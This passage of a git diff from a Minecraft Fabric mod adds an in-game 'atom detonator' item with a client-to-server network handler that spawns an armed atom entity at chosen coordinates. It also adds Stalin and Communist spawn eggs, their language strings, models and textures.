+ serverWorld.spawnEntity(atom); + + // Damage item, remove if broken + stack.damage(1, serverWorld.getRandom(), null); + if (stack.getDamage() >= stack.getMaxDamage()) { + stack.decrement(1); + } + + return stack; + } + }); + ServerPlayNetworking.registerGlobalReceiver(DETONATOR_INPUT, (server, player, handler, buf, responseSender) -> { + int x = buf.readInt(); + int z = buf.readInt(); + if (!player.getMainHandStack().isOf(Szar.ATOM_DETONATOR)) {return;} + server.execute(() -> { + ServerWorld world = player.getServerWorld(); + + int topY = world.getTopY( + Heightmap.Type.WORLD_SURFACE, x, z + ); + + Vec3d spawnPos = new Vec3d(x + 0.5, topY + 100, z + 0.5); + + AtomEntity atom = new AtomEntity(Szar.AtomEntityType, world); + atom.setPosition(spawnPos.x, spawnPos.y, spawnPos.z); + atom.readCustomDataFromNbt(new NbtCompound() {{ + putBoolean("Armed", true); + }}); + + world.spawnEntity(atom); + + player.getItemCooldownManager().set(Szar.ATOM_DETONATOR, 20 * 60); + player.getMainHandStack().damage(1, player, + p -> p.sendToolBreakStatus(player.getActiveHand())); + }); + }); } // In your ModItems or wherever you register items @@ -1576,6 +1666,26 @@ public class Szar implements ModInitializer { new Item.Settings() ) ); + public static final Item STALIN_SPAWNEGG = Registry.register( + Registries.ITEM, + new Identifier(MOD_ID, "stalin_spawn_egg"), + new SpawnEggItem( + StalinEntityType, + 0xA82100, + 0x404040, + new Item.Settings() + ) + ); + public static final Item COMMUNIST_SPAWNEGG = Registry.register( + Registries.ITEM, + new Identifier(MOD_ID, "communist_spawn_egg"), + new SpawnEggItem( + CommunistEntityType, + 0xA82100, + 0xF8C912, + new Item.Settings() + ) + ); public static final Item MERL_SPAWNEGG = Registry.register( Registries.ITEM, new Identifier(MOD_ID, "merl_spawn_egg"), diff --git a/src/main/resources/assets/szar/lang/en_us.json b/src/main/resources/assets/szar/lang/en_us.json index f26a248..8338e8c 100644 --- a/src/main/resources/assets/szar/lang/en_us.json +++ b/src/main/resources/assets/szar/lang/en_us.json @@ -128,5 +128,10 @@ "item.szar.bullet_shell": "Revolver Bullet Shell", "key.categories.szar": "Szar", - "key.szar.spin": "Interact with Revolver" + "key.szar.spin": "Interact with Revolver", + + "entity.szar.stalin": "Stalin", + "item.szar.stalin_spawn_egg":"Stalin Spawn Egg", + "entity.szar.communist": "Communist", + "item.szar.communist_spawn_egg":"Communist Spawn Egg" } diff --git a/src/main/resources/assets/szar/models/item/communist_spawn_egg.json b/src/main/resources/assets/szar/models/item/communist_spawn_egg.json new file mode 100644 index 0000000..ddd1559 --- /dev/null +++ b/src/main/resources/assets/szar/models/item/communist_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} diff --git a/src/main/resources/assets/szar/models/item/stalin_spawn_egg.json b/src/main/resources/assets/szar/models/item/stalin_spawn_egg.json new file mode 100644 index 0000000..ddd1559 --- /dev/null +++ b/src/main/resources/assets/szar/models/item/stalin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} diff --git a/src/main/resources/assets/szar/textures/entity/communist.png b/src/main/resources/assets/szar/textures/entity/communist.png new file mode 100644 index 0000000..23ffe49 Binary files /dev/null and b/src/main/resources/assets/szar/textures/entity/communist.png differ diff --git a/src/main/resources/assets/szar/textures/entity/hitter.png b/src/main/resources/assets/szar/textures/entity/hitter.png index 6300459..db3e55c 100644 Binary files a/src/main/resources/assets/szar/textures/entity/hitter.png and b/src/main/resources/assets/szar/textures/entity/hitter.png differ diff --git a/src/main/resources/assets/szar/textures/entity/stalin.png b/src/main/resources/assets/szar/textures/entity/stalin.png new file mode 100644 index 0000000..04b657d Binary files /dev/null and b/src/main/resources/assets/szar/textures/entity/stalin.png differ